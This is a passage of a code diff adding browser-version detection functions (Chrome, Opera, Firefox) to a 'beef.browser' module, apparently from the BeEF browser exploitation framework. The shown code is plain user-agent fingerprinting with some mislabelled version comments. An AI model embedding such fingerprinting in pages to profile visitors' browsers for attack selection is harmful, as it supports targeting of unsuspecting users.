+     * Returns true if Chrome for iOS 97.
+     * @example: beef.browser.isC97iOS()
+     */
+    isC97iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 97) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 98.
+     * @example: beef.browser.isC98()
+     */
+    isC98: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 98) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 98.
+     * @example: beef.browser.isC98iOS()
+     */
+    isC98iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 98) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 99.
+     * @example: beef.browser.isC99()
+     */
+    isC99: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 99) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 99.
+     * @example: beef.browser.isC99iOS()
+     */
+    isC99iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 99) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome.
+     * @example: beef.browser.isC()
+     */
+    isC: function () {
+        return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC59() || this.isC59iOS()|| this.isC60() || this.isC60iOS()|| this.isC61() || this.isC61iOS()|| this.isC62() || this.isC62iOS()|| this.isC63() || this.isC63iOS()|| this.isC64() || this.isC64iOS()|| this.isC65() || this.isC65iOS()|| this.isC66() || this.isC66iOS()|| this.isC67() || this.isC67iOS()|| this.isC68() || this.isC68iOS()|| this.isC69() || this.isC69iOS()|| this.isC70() || this.isC70iOS()|| this.isC71() || this.isC71iOS()|| this.isC72() || this.isC72iOS()|| this.isC73() || this.isC73iOS()|| this.isC74() || this.isC74iOS()|| this.isC75() || this.isC75iOS()|| this.isC76() || this.isC76iOS()|| this.isC77() || this.isC77iOS()|| this.isC78() || this.isC78iOS()|| this.isC79() || this.isC79iOS()|| this.isC80() || this.isC80iOS()|| this.isC81() || this.isC81iOS()|| this.isC82() || this.isC82iOS()|| this.isC83() || this.isC83iOS()|| this.isC84() || this.isC84iOS()|| this.isC85() || this.isC85iOS()|| this.isC86() || this.isC86iOS()|| this.isC87() || this.isC87iOS()|| this.isC88() || this.isC88iOS()|| this.isC89() || this.isC89iOS()|| this.isC90() || this.isC90iOS()|| this.isC91() || this.isC91iOS()|| this.isC92() || this.isC92iOS()|| this.isC93() || this.isC93iOS()|| this.isC94() || this.isC94iOS()|| this.isC95() || this.isC95iOS()|| this.isC96() || this.isC96iOS()|| this.isC97() || this.isC97iOS()|| this.isC98() || this.isC98iOS()|| this.isC99() || this.isC99iOS();
+    },
+
+    /**
+     * Returns true if Opera 9.50 through 9.52.
+     * @example: beef.browser.isO9_52()
+     */
+    isO9_52: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
+    },
+
+    /**
+     * Returns true if Opera 9.60 through 9.64.
+     * @example: beef.browser.isO9_60()
+     */
+    isO9_60: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
+    },
+
+    /**
+     * Returns true if Opera 10.xx.
+     * @example: beef.browser.isO10()
+     */
+    isO10: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
+    },
+
+    /**
+     * Returns true if Opera 11.xx.
+     * @example: beef.browser.isO11()
+     */
+    isO11: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
+    },
+
+    /**
+     * Returns true if Opera 12.xx.
+     * @example: beef.browser.isO12()
+     */
+    isO12: function () {
+        return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
+    },
+
+    /**
+     * Returns true if Opera.
+     * @example: beef.browser.isO()
+     */
+    isO: function () {
+        return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
+    },
+
+    /**
+     * Returns the type of browser being used.
+     * @example: beef.browser.type().IE6
+     * @example: beef.browser.type().FF
+     * @example: beef.browser.type().O
+     */
+    type: function () {
+
+        return {
+            C5: this.isC5(), // Chrome 5
+            C6: this.isC6(), // Chrome 6
+            C7: this.isC7(), // Chrome 7
+            C8: this.isC8(), // Chrome 8
+            C9: this.isC9(), // Chrome 9
+            C10: this.isC10(), // Chrome 10
+            C11: this.isC11(), // Chrome 11
+            C12: this.isC12(), // Chrome 12
+            C13: this.isC13(), // Chrome 13
+            C14: this.isC14(), // Chrome 14
+            C15: this.isC15(), // Chrome 15
+            C16: this.isC16(), // Chrome 16
+            C17: this.isC17(), // Chrome 17
+            C18: this.isC18(), // Chrome 18
+            C19: this.isC19(), // Chrome 19
+            C19iOS: this.isC19iOS(), // Chrome 19 on iOS
+            C20: this.isC20(), // Chrome 20
+            C20iOS: this.isC20iOS(), // Chrome 20 on iOS
+            C21: this.isC21(), // Chrome 21
+            C21iOS: this.isC21iOS(), // Chrome 21 on iOS
+            C22: this.isC22(), // Chrome 22
+            C22iOS: this.isC22iOS(), // Chrome 22 on iOS
+            C23: this.isC23(), // Chrome 23
+            C23iOS: this.isC23iOS(), // Chrome 23 on iOS
+            C24: this.isC24(), // Chrome 24
+            C24iOS: this.isC24iOS(), // Chrome 24 on iOS
+            C25: this.isC25(), // Chrome 25
+            C25iOS: this.isC25iOS(), // Chrome 25 on iOS
+            C26: this.isC26(), // Chrome 26
+            C26iOS: this.isC26iOS(), // Chrome 26 on iOS
+            C27: this.isC27(), // Chrome 27
+            C27iOS: this.isC27iOS(), // Chrome 27 on iOS
+            C28: this.isC28(), // Chrome 28
+            C28iOS: this.isC28iOS(), // Chrome 28 on iOS
+            C29: this.isC29(), // Chrome 29
+            C29iOS: this.isC29iOS(), // Chrome 29 on iOS
+            C30: this.isC30(), // Chrome 30
+            C30iOS: this.isC30iOS(), // Chrome 30 on iOS
+            C31: this.isC31(), // Chrome 31
+            C31iOS: this.isC31iOS(), // Chrome 31 on iOS
+            C32: this.isC32(), // Chrome 32
+            C32iOS: this.isC32iOS(), // Chrome 32 on iOS
+            C33: this.isC33(), // Chrome 33
+            C33iOS: this.isC33iOS(), // Chrome 33 on iOS
+            C34: this.isC34(), // Chrome 34
+            C34iOS: this.isC34iOS(), // Chrome 34 on iOS
+            C35: this.isC35(), // Chrome 35
+            C35iOS: this.isC35iOS(), // Chrome 35 on iOS
+            C36: this.isC36(), // Chrome 36
+            C36iOS: this.isC36iOS(), // Chrome 36 on iOS
+            C37: this.isC37(), // Chrome 37
+            C37iOS: this.isC37iOS(), // Chrome 37 on iOS
+            C38: this.isC38(), // Chrome 38
+            C38iOS: this.isC38iOS(), // Chrome 38 on iOS
+            C39: this.isC39(), // Chrome 39
+            C39iOS: this.isC39iOS(), // Chrome 39 on iOS
+            C40: this.isC40(), // Chrome 40
+            C40iOS: this.isC40iOS(), // Chrome 40 on iOS
+            C41: this.isC41(), // Chrome 41
+            C41iOS: this.isC41iOS(), // Chrome 41 on iOS
+            C42: this.isC42(), // Chrome 42
+            C42iOS: this.isC42iOS(), // Chrome 42 on iOS
+            C43: this.isC43(), // Chrome 43
+            C43iOS: this.isC43iOS(), // Chrome 43 on iOS
+            C44: this.isC44(), // Chrome 44
+            C44iOS: this.isC44iOS(), // Chrome 44 on iOS
+            C45: this.isC45(), // Chrome 45
+            C45iOS: this.isC45iOS(), // Chrome 45 on iOS
+            C46: this.isC46(), // Chrome 46
+            C46iOS: this.isC46iOS(), // Chrome 46 on iOS
+            C47: this.isC47(), // Chrome 47
+            C47iOS: this.isC47iOS(), // Chrome 47 on iOS
+            C48: this.isC48(), // Chrome 48
+            C48iOS: this.isC48iOS(), // Chrome 48 on iOS
+            C49: this.isC49(), // Chrome 49
+            C49iOS: this.isC49iOS(), // Chrome 49 on iOS
+            C50: this.isC50(), // Chrome 50
+            C50iOS: this.isC50iOS(), // Chrome 50 on iOS
+            C51: this.isC51(), // Chrome 51
+            C51iOS: this.isC51iOS(), // Chrome 51 on iOS
+            C52: this.isC52(), // Chrome 52
+            C52iOS: this.isC52iOS(), // Chrome 52 on iOS
+            C53: this.isC53(), // Chrome 53
+            C53iOS: this.isC53iOS(), // Chrome 53 on iOS
+            C54: this.isC54(), // Chrome 54
+            C54iOS: this.isC54iOS(), // Chrome 54 on iOS
+            C55: this.isC55(), // Chrome 55
+            C55iOS: this.isC55iOS(), // Chrome 55 on iOS
+            C56: this.isC56(), // Chrome 56
+            C56iOS: this.isC56iOS(), // Chrome 56 on iOS
+            C57: this.isC57(), // Chrome 57
+            C57iOS: this.isC57iOS(), // Chrome 57 on iOS
+            C58: this.isC58(), // Chrome 58
+            C58iOS: this.isC58iOS(), // Chrome 58 on iOS
+            C63iOS: this.isC63iOS(),
+            C: this.isC(), // Chrome any version
+
+            FF2: this.isFF2(), // Firefox 2
+            FF3: this.isFF3(), // Firefox 3
+            FF3_5: this.isFF3_5(), // Firefox 3.5
+            FF3_6: this.isFF3_6(), // Firefox 3.6
+            FF4: this.isFF4(), // Firefox 4
+            FF5: this.isFF5(), // Firefox 5
+            FF6: this.isFF6(), // Firefox 6
+            FF7: this.isFF7(), // Firefox 7
+            FF8: this.isFF8(), // Firefox 8
+            FF9: this.isFF9(), // Firefox 9
+            FF10: this.isFF10(), // Firefox 10
+            FF11: this.isFF11(), // Firefox 11
+            FF12: this.isFF12(), // Firefox 12
+            FF13: this.isFF13(), // Firefox 13
+            FF14: this.isFF14(), // Firefox 14
+            FF15: this.isFF15(), // Firefox 15
+            FF16: this.isFF16(), // Firefox 16
+            FF17: this.isFF17(), // Firefox 17
+            FF18: this.isFF18(), // Firefox 18
+            FF19: this.isFF19(), // Firefox 19
+            FF20: this.isFF20(), // Firefox 20
+            FF21: this.isFF21(), // Firefox 21
+            FF22: this.isFF22(), // Firefox 22
+            FF23: this.isFF23(), // Firefox 23
+            FF24: this.isFF24(), // Firefox 24
+            FF25: this.isFF25(), // Firefox 25
+            FF26: this.isFF26(), // Firefox 26
+            FF27: this.isFF27(), // Firefox 27
+            FF28: this.isFF28(), // Firefox 28
+            FF29: this.isFF29(), // Firefox 29
+            FF30: this.isFF30(), // Firefox 30
+            FF31: this.isFF31(), // Firefox 31
+            FF32: this.isFF32(), // Firefox 32
+            FF33: this.isFF33(), // Firefox 33
+            FF34: this.isFF34(), // Firefox 34
+            FF35: this.isFF35(), // Firefox 35
+            FF36: this.isFF36(), // Firefox 36
+            FF37: this.isFF37(), // Firefox 37
+            FF38: this.isFF38(), // Firefox 38
+            FF39: this.isFF39(), // Firefox 39
+            FF40: this.isFF40(), // Firefox 40
+            FF41: this.isFF41(), // Firefox 41
+            FF42: this.isFF42(), // Firefox 42
+            FF43: this.isFF43(), // Firefox 43
+            FF44: this.isFF44(), // Firefox 44
+            FF45: this.isFF45(), // Firefox 45
+            FF46: this.isFF46(), // Firefox 46
+            FF47: this.isFF47(), // Firefox 47
+            FF48: this.isFF48(), // Firefox 48
+            FF49: this.isFF49(), // Firefox 49
+            FF50: this.isFF50(), // Firefox 50
+            FF51: this.isFF51(), // Firefox 51
+            FF52: this.isFF52(), // Firefox 52
+            FF53: this.isFF53(), // Firefox 53
+            FF54: this.isFF54(), // Firefox 54
+            FF55: this.isFF55(), // Firefox 55
+            FF56: this.isFF56(), // Firefox 56
+            FF57: this.isFF57(), // Firefox 57
+            FF58: this.isFF58(), // Firefox 58
+            FF59: this.isFF59(), // Firefox 59
+            FF60: this.isFF60(), // Firefox 60
+            FF61: this.isFF61(), // Firefox 61
+            FF62: this.isFF62(), // Firefox 62
+            FF63: this.isFF63(), // Firefox 63
+            FF64: this.isFF64(), // Firefox 64
+            FF65: this.isFF65(), // Firefox 65
+            FF66: this.isFF66(), // Firefox 66
+            FF67: this.isFF67(), // Firefox 67
+            FF68: this.isFF68(), // Firefox 68
+            FF69: this.isFF69(), // Firefox 69
+            FF70: this.isFF70(), // Firefox 70
+            FF71: this.isFF71(), // Firefox 71
+            FF72: this.isFF72(), // Firefox 72
+            FF73: this.isFF73(), // Firefox 73
+            FF74: this.isFF74(), // Firefox 74
+            FF75: this.isFF75(), // Firefox 75
+            FF76: this.isFF76(), // Firefox 76
+            FF77: this.isFF77(), // Firefox 77
+            FF78: this.isFF78(), // Firefox 78
+            FF79: this.isFF79(), // Firefox 79
+            FF80: this.isFF80(), // Firefox 70
+            FF81: this.isFF81(), // Firefox 81
+            FF82: this.isFF82(), // Firefox 82
+            FF83: this.isFF83(), // Firefox 83
+            FF84: this.isFF84(), // Firefox 85
+            FF85: this.isFF85(), // Firefox 85
+            FF86: this.isFF86(), // Firefox 85
+            FF87: this.isFF87(), // Firefox 87
+            FF88: this.isFF88(), // Firefox 85
+            FF89: this.isFF89(), // Firefox 85
+            FF90: this.isFF90(), // Firefox 80
+            FF91: this.isFF91(), // Firefox 95
+            FF92: this.isFF92(), // Firefox 92
+            FF93: this.isFF93(), // Firefox 95
+            FF94: this.isFF94(), // Firefox 94
+            FF95: this.isFF95(), // Firefox 95
+            FF96: this.isFF96(), // Firefox 96
+            FF97: this.isFF97(), // Firefox 97
+            FF98: this.isFF98(), // Firefox 98
+            FF99: this.isFF99(), // Firefox 99
+
+            FF: this.isFF(),   // Firefox any version
+
+            IE6: this.isIE6(), // Internet Explorer 6
+            IE7: this.isIE7(), // Internet Explorer 7
+            IE8: this.isIE8(), // Internet Explorer 8
+            IE9: this.isIE9(), // Internet Explorer 9
+            IE10: this.isIE10(), // Internet Explorer 10
+            IE11: this.isIE11(), // Internet Explorer 11
+            IE: this.isIE(), // Internet Explorer any version
+
+            O9_52: this.isO9_52(), // Opera 9.50 through 9.52
+            O9_60: this.isO9_60(), // Opera 9.60 through 9.64
+            O10: this.isO10(), // Opera 10.xx
+            O11: this.isO11(), // Opera 11.xx
+            O12: this.isO12(), // Opera 12.xx
+            O: this.isO(),   // Opera any version
+
+            EP: this.isEpi(), // Epiphany any version
+
+            S4: this.isS4(), // Safari 4.xx
+            S5: this.isS5(), // Safari 5.xx
+            S6: this.isS6(), // Safari 6.x
+            S7: this.isS7(), // Safari 7.x
+            S8: this.isS8(), // Safari 8.x
+            S: this.isS()   // Safari any version
+        }
+    },
+
+    /**
+     * Returns the major version of the browser being used.
+     * @return: {String} version number || 'UNKNOWN'.
+     *
+     * @example: beef.browser.getBrowserVersion()
+     */
+    getBrowserVersion: function () {
+        if (this.isEdge()) {
+          try {
+            return platform.version;
+          } catch(e) {
+            return 'unknown';
+          }
+        }
+        ;   // Microsoft Edge
+
+        if (this.isC5()) {
+            return '5'
+        }
+        ;   // Chrome 5
+        if (this.isC6()) {
+            return '6'
+        }
+        ;   // Chrome 6
+        if (this.isC7()) {
+            return '7'
+        }
+        ;   // Chrome 7
+        if (this.isC8()) {
+            return '8'
+        }
+        ;   // Chrome 8
+        if (this.isC9()) {
+            return '9'
+        }
+        ;   // Chrome 9
+        if (this.isC10()) {
+            return '10'
+        }
+        ;   // Chrome 10
+        if (this.isC11()) {
+            return '11'
+        }
+        ;   // Chrome 11
+        if (this.isC12()) {
+            return '12'
+        }
+        ;   // Chrome 12
+        if (this.isC13()) {
+            return '13'
+        }
+        ;   // Chrome 13
+        if (this.isC14()) {
+            return '14'
+        }
+        ;   // Chrome 14
+        if (this.isC15()) {
+            return '15'
+        }
+        ;   // Chrome 15
+        if (this.isC16()) {
+            return '16'
+        }
+        ;	// Chrome 16
+        if (this.isC17()) {
+            return '17'
+        }
+        ;	// Chrome 17
+        if (this.isC18()) {
+            return '18'
+        }
+        ;	// Chrome 18
+        if (this.isC19()) {
+            return '19'
+        }
+        ;	// Chrome 19
+        if (this.isC19iOS()) {
+            return '19'
+        }
+        ;   // Chrome 19 for iOS
+        if (this.isC20()) {
+            return '20'
+        }
+        ;	// Chrome 20
+        if (this.isC20iOS()) {
+            return '20'
+        }
+        ;   // Chrome 20 for iOS
+        if (this.isC21()) {
+            return '21'
+        }
+        ;	// Chrome 21
+        if (this.isC21iOS()) {
+            return '21'
+        }
+        ;   // Chrome 21 for iOS
+        if (this.isC22()) {
+            return '22'
+        }
+        ;    // Chrome 22
+        if (this.isC22iOS()) {
+            return '22'
+        }
+        ;   // Chrome 22 for iOS
+        if (this.isC23()) {
+            return '23'
+        }
+        ;    // Chrome 23
+        if (this.isC23iOS()) {
+            return '23'
+        }
+        ;   // Chrome 23 for iOS
+        if (this.isC24()) {
+            return '24'
+        }
+        ;    // Chrome 24
+        if (this.isC24iOS()) {
+            return '24'
+        }
+        ;   // Chrome 24 for iOS
+        if (this.isC25()) {
+            return '25'
+        }
+        ;    // Chrome 25
+        if (this.isC25iOS()) {
+            return '25'
+        }
+        ;   // Chrome 25 for iOS
+        if (this.isC26()) {
+            return '26'
+        }
+        ;    // Chrome 26
+        if (this.isC26iOS()) {
+            return '26'
+        }
+        ;   // Chrome 26 for iOS
+        if (this.isC27()) {
+            return '27'
+        }
+        ;    // Chrome 27
+        if (this.isC27iOS()) {
+            return '27'
+        }
+        ;   // Chrome 27 for iOS
+        if (this.isC28()) {
+            return '28'
+        }
+        ;    // Chrome 28
+        if (this.isC28iOS()) {
+            return '28'
+        }
+        ;   // Chrome 28 for iOS
+        if (this.isC29()) {
+            return '29'
+        }
+        ;    // Chrome 29
+        if (this.isC29iOS()) {
+            return '29'
+        }
+        ;   // Chrome 29 for iOS
+        if (this.isC30()) {
+            return '30'
+        }
+        ;    // Chrome 30
+        if (this.isC30iOS()) {
+            return '30'
+        }
+        ;   // Chrome 30 for iOS
+        if (this.isC31()) {
+            return '31'
+        }
+        ;   // Chrome 31
+        if (this.isC31iOS()) {
+            return '31'
+        }
+        ;   // Chrome 31 for iOS
+        if (this.isC32()) {
+            return '32'
+        }
+        ;   // Chrome 32
+        if (this.isC32iOS()) {
+            return '32'
+        }
+        ;   // Chrome 32 for iOS
+        if (this.isC33()) {
+            return '33'
+        }
+        ;   // Chrome 33
+        if (this.isC33iOS()) {
+            return '33'
+        }
+        ;   // Chrome 33 for iOS
+        if (this.isC34()) {
+            return '34'
+        }
+        ;   // Chrome 34
+        if (this.isC34iOS()) {
+            return '34'
+        }
+        ;   // Chrome 34 for iOS
+        if (this.isC35()) {
+            return '35'
+        }
+        ;   // Chrome 35
+        if (this.isC35iOS()) {
+            return '35'
+        }
+        ;   // Chrome 35 for iOS
+        if (this.isC36()) {
+            return '36'
+        }
+        ;   // Chrome 36
+        if (this.isC36iOS()) {
+            return '36'
+        }
+        ;   // Chrome 36 for iOS
+        if (this.isC37()) {
+            return '37'
+        }
+        ;   // Chrome 37
+        if (this.isC37iOS()) {
+            return '37'
+        }
+        ;   // Chrome 37 for iOS
+        if (this.isC38()) {
+            return '38'
+        }
+        ;   // Chrome 38
+        if (this.isC38iOS()) {
+            return '38'
+        }
+        ;   // Chrome 38 for iOS
+        if (this.isC39()) {
+            return '39'
+        }
+        ;   // Chrome 39
+        if (this.isC39iOS()) {
+            return '39'
+        }
+        ;   // Chrome 39 for iOS
+        if (this.isC40()) {
+            return '40'
+        }
+        ;   // Chrome 40
+        if (this.isC40iOS()) {
+            return '40'
+        }
+        ;   // Chrome 40 for iOS
+        if (this.isC41()) {
+            return '41'
+        }
+        ;   // Chrome 41
+        if (this.isC41iOS()) {
+            return '41'
+        }
+        ;   // Chrome 41 for iOS
+        if (this.isC42()) {
+            return '42'
+        }
+        ;   // Chrome 42
+        if (this.isC42iOS()) {
+            return '42'
+        }
+        ;   // Chrome 42 for iOS
+        if (this.isC43()) {
+            return '43'
+        }
+        ;   // Chrome 43
+        if (this.isC43iOS()) {
+            return '43'
+        }
+        ;   // Chrome 43 for iOS
+        if (this.isC44()) {
+            return '44'
+        }
+        ;   // Chrome 44
+        if (this.isC44iOS()) {
+            return '44'
+        }
+        ;   // Chrome 44 for iOS
+        if (this.isC45()) {
+            return '45'
+        }
+        ;   // Chrome 45
+        if (this.isC45iOS()) {
+            return '45'
+        }
+        ;   // Chrome 45 for iOS
+        if (this.isC46()) {
+            return '46'
+        }
+        ;// Chrome 46
+        if (this.isC46iOS()) {
+            return '46'
+        }
+        ;   // Chrome 46 for iOS
+        if (this.isC47()) {
+            return '47'
+        }
+        ;// Chrome 47
+        if (this.isC47iOS()) {
+            return '47'
+        }
+        ;   // Chrome 47 for iOS
+        if (this.isC48()) {
+            return '48'
+        }
+        ;// Chrome 48
+        if (this.isC48iOS()) {
+            return '48'
+        }
+        ;   // Chrome 48 for iOS
+        if (this.isC49()) {
+            return '49'
+        }
+        ;// Chrome 49
+        if (this.isC49iOS()) {
+            return '49'
+        }
+        ;   // Chrome 49 for iOS
+        if (this.isC50()) {
+            return '50'
+        }
+        ;// Chrome 50
+        if (this.isC50iOS()) {
+            return '50'
+        }
+        ;   // Chrome 50 for iOS
+        if (this.isC51()) {
+            return '51'
+        }
+        ;// Chrome 51
+        if (this.isC51iOS()) {
+            return '51'
+        }
+        ;   // Chrome 51 for iOS
+        if (this.isC52()) {
+            return '52'
+        }
+        ;// Chrome 52
+        if (this.isC52iOS()) {
+            return '52'
+        }
+        ;   // Chrome 52 for iOS
+        if (this.isC53()) {
+            return '53'
+        }
+        ;// Chrome 53
+        if (this.isC53iOS()) {
+            return '53'
+        }
+        ;   // Chrome 53 for iOS
+        if (this.isC54()) {
+            return '54'
+        }
+        ;// Chrome 54
+        if (this.isC54iOS()) {
+            return '54'
+        }
+        ;   // Chrome 54 for iOS
+        if (this.isC55()) {
+            return '55'
+        }
+        ;// Chrome 55
+        if (this.isC55iOS()) {
+            return '55'
+        }
+        ;   // Chrome 55 for iOS
+        if (this.isC56()) {
+            return '56'
+        }
+        ;// Chrome 56
+        if (this.isC56iOS()) {
+            return '56'
+        }
+        ;   // Chrome 56 for iOS
+        if (this.isC57()) {
+            return '57'
+        }
+        ;// Chrome 57
+        if (this.isC57iOS()) {
+            return '57'
+        }
+        ;   // Chrome 57 for iOS
+        if (this.isC58()) {
+            return '58'
+        }
+        ;// Chrome 58
+        if (this.isC58iOS()) {
+            return '58'
+        }
+        ;   // Chrome 58 for iOS
+
+
+        if (this.isFF2()) {
+            return '2'
+        }
+        ;	// Firefox 2
+        if (this.isFF3()) {
+            return '3'
+        }
+        ;	// Firefox 3
+        if (this.isFF3_5()) {
+            return '3.5'
+        }
+        ;	// Firefox 3.5
+        if (this.isFF3_6()) {
+            return '3.6'
+        }
+        ;	// Firefox 3.6
+        if (this.isFF4()) {
+            return '4'
+        }
+        ;	// Firefox 4
+        if (this.isFF5()) {
+            return '5'
+        }
+        ;	// Firefox 5
+        if (this.isFF6()) {
+            return '6'
+        }
+        ;	// Firefox 6
+        if (this.isFF7()) {
+            return '7'
+        }
+        ;	// Firefox 7
+        if (this.isFF8()) {
+            return '8'
+        }
+        ;	// Firefox 8
+        if (this.isFF9()) {
+            return '9'
+        }
+        ;	// Firefox 9
+        if (this.isFF10()) {
+            return '10'
+        }
+        ;	// Firefox 10
+        if (this.isFF11()) {
+            return '11'
+        }
+        ;	// Firefox 11
+        if (this.isFF12()) {
+            return '12'
+        }
+        ;	// Firefox 12
+        if (this.isFF13()) {
+            return '13'
+        }
+        ;	// Firefox 13
+        if (this.isFF14()) {
+            return '14'
+        }
+        ;	// Firefox 14
+        if (this.isFF15()) {
+            return '15'
+        }
+        ;	// Firefox 15
+        if (this.isFF16()) {
+            return '16'
+        }
+        ;	// Firefox 16
+        if (this.isFF17()) {
+            return '17'
+        }
+        ;    // Firefox 17
+        if (this.isFF18()) {
+            return '18'
+        }
+        ;    // Firefox 18
+        if (this.isFF19()) {
+            return '19'
+        }
+        ;    // Firefox 19
+        if (this.isFF20()) {
+            return '20'
+        }
+        ;    // Firefox 20
+        if (this.isFF21()) {
+            return '21'
+        }
+        ;    // Firefox 21
+        if (this.isFF22()) {
+            return '22'
+        }
+        ;   // Firefox 22
+        if (this.isFF23()) {
+            return '23'
+        }
+        ;   // Firefox 23
+        if (this.isFF24()) {
+            return '24'
+        }
+        ;   // Firefox 24
+        if (this.isFF25()) {
+            return '25'
+        }
+        ;   // Firefox 25
+        if (this.isFF26()) {
+            return '26'
+        }
+        ;   // Firefox 26
+        if (this.isFF27()) {
+            return '27'
+        }
+        ;   // Firefox 27
+        if (this.isFF28()) {
+            return '28'
+        }
+        ;   // Firefox 28
+        if (this.isFF29()) {
+            return '29'
+        }
+        ;   // Firefox 29
+        if (this.isFF30()) {
+            return '30'
+        }
+        ;   // Firefox 30
+        if (this.isFF31()) {
+            return '31'
+        }
+        ;   // Firefox 31
+        if (this.isFF32()) {
+            return '32'
+        }
+        ;   // Firefox 32
+        if (this.isFF33()) {
+            return '33'
+        }
+        ;   // Firefox 33
+        if (this.isFF34()) {
+            return '34'
+        }
+        ;   // Firefox 34
+        if (this.isFF35()) {
+            return '35'
+        }
+        ;   // Firefox 35
+        if (this.isFF36()) {
+            return '36'
+        }
+        ;   // Firefox 36
+        if (this.isFF37()) {
+            return '37'
+        }
+        ;   // Firefox 37
+        if (this.isFF38()) {
+            return '38'
+        }
+        ;   // Firefox 38
+        if (this.isFF39()) {
+            return '39'
+        }
+        ;   // Firefox 39
+        if (this.isFF40()) {
+            return '40'
+        }
+        ;   // Firefox 40
+        if (this.isFF41()) {
+            return '41'
+        }
+        ;   // Firefox 41
+        if (this.isFF42()) {
+            return '42'
+        }
+        ;   // Firefox 42
+        if (this.isFF43()) {
+            return '43'
+        }
+        ;   // Firefox 43
+        if (this.isFF44()) {
+            return '44'
+        }
+        ;   // Firefox 44
+        if (this.isFF45()) {
+            return '45'
+        }
+        ;   // Firefox 45
+        if (this.isFF46()) {
+            return '46'
+        }
+        ;   // Firefox 46
+        if (this.isFF47()) {
+            return '47'
+        }
+        ;   // Firefox 47
+        if (this.isFF48()) {
+            return '48'
+        }
+        ;   // Firefox 48
+        if (this.isFF49()) {
+            return '49'
+        }
+        ;   // Firefox 49
+        if (this.isFF50()) {
+            return '50'
+        }
+        ;   // Firefox 50
+        if (this.isFF51()) {
+            return '51'
+        }
+        ;   // Firefox 51
+        if (this.isFF52()) {
+            return '52'
+        }
+        ;   // Firefox 52
+        if (this.isFF53()) {
+            return '53'
+        }
+        ;   // Firefox 53
+        if (this.isFF54()) {
+            return '54'
+        }
+        ;   // Firefox 54
+        if (this.isFF55()) {
+            return '55'
+        }
+        ;   // Firefox 55
+        if (this.isFF56()) {
+            return '56'
+        }
+        ;   // Firefox 56
+        if (this.isFF57()) {
+            return '57'
+        }
+        ;   // Firefox 57
+        if (this.isFF58()) {
+            return '58'
+        }
+        ;   // Firefox 58
+        if (this.isFF59()) {
+            return '59'
+        }
+        ;   // Firefox 59
+        if (this.isFF60()) {
+            return '60'
+        }
+        ;   // Firefox 60
+        if (this.isFF61()) {
+            return '61'
+        }
+        ;   // Firefox 61
+        if (this.isFF62()) {
+            return '62'
+        }
+        ;   // Firefox 62
+        if (this.isFF63()) {
+            return '63'
+        }
+        ;   // Firefox 63
+        if (this.isFF64()) {
+            return '64'
+        }
+        ;   // Firefox 64
+        if (this.isFF65()) {
+            return '65'
+        }
+        ;   // Firefox 65
+        if (this.isFF66()) {
+            return '66'
+        }
+        ;   // Firefox 66
+        if (this.isFF67()) {
+            return '67'
+        }
+        ;   // Firefox 67
+        if (this.isFF68()) {
+            return '68'
+        }
+        ;   // Firefox 68
+        if (this.isFF69()) {
+            return '69'
+        }
+        ;   // Firefox 69
+        if (this.isFF70()) {
+            return '70'
+        }
+        ;   // Firefox 70
+        if (this.isFF71()) {
+            return '71'
+        }
+        ;   // Firefox 71
+        if (this.isFF72()) {
+            return '72'
+        }
+        ;   // Firefox 72
+        if (this.isFF73()) {
+            return '73'
+        }
+        ;   // Firefox 73
